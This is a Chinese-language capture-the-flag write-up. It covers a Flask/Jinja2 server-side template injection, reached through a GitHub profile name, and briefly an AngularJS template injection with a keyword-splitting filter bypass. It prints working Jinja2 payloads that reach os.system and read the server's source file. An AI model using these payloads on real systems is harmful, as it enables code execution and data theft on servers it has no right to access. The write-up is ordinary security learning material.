FlagMan

使用GitHub Oauth登录,然后页面上就可以显示你的GitHub头像、用户名、用户id。常见的思路都想过了,发现不行,后来看到登录页面有个隐藏的Powered by Flask,联想起最近的Jinjia2模板注入,应该是在GitHub的真实姓名的位置。

在 http://blog.knownsec.com/2016/02/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates/ 有一个POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

原理就是Jinjia2中可以访问空列表,然后[].__class__.__base__objectobject__subclasses__()就是所有继承object的类,依次类推,找到了一个导入了os模块的,然后取出来使用。如果能找到其他模块中导入了os也行,但是没有再去找。

但是发现网站是SAE的环境,不能执行命令,就决定读取一下代码看看,flag应该在里面。

为了简短代码,不用每次去去循环获取,就循环判断下索引

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}

得到索引是59

循环查看所有的模块

{% for i in range(0, 10) %} {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i] }} {% endfor %}

发现有os, __file__, __builtins__等,可以用open

但是要先知道当前文件名,所以

{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) }}

得到文件名/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py,然后读文件

{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py", "r").read() }}

其实上面读取文件也不需要全部的路径,直接使用__file__也行,一开始怕sae环境比较特殊。

这样就读了源代码,获取到了flag。

再看题目源码,发现模板内容写``就可以,虽然说和题目有点关系,flask中也经常使用app这个变量,但是一开始还是没想到。

QQ20160229-1@2x.png

xss

也是紧追潮流,是再早几天的AngularJS的模板注入。那时候看着英文版不错,还自己翻译了一部分,然后就发现360也出了翻译,还是基本能看的,就放弃了。。 文章在 http://bobao.360.cn/learning/detail/2597.html

第一步测试,发现将<>替换成了下划线,过滤了一些词,比如evalonxxx等,直接使用关键词把关键词拆开就好了,比如evevalal,然后过滤后拼成了原来的关键词。

AngularJS模板注入的原理要比Jinjin2的复杂些,因为注入的代码并不能执行任意动作,因为AngularJS”沙箱”的存在,所以还是通过各种替换函数,将安全的函数替换成了危险函数来做的。其实对JS不是特别熟,文章也是看的一知半解的,不多说了。

D6FEA12A-033D-4C03-BB15-B602192DC2FE.png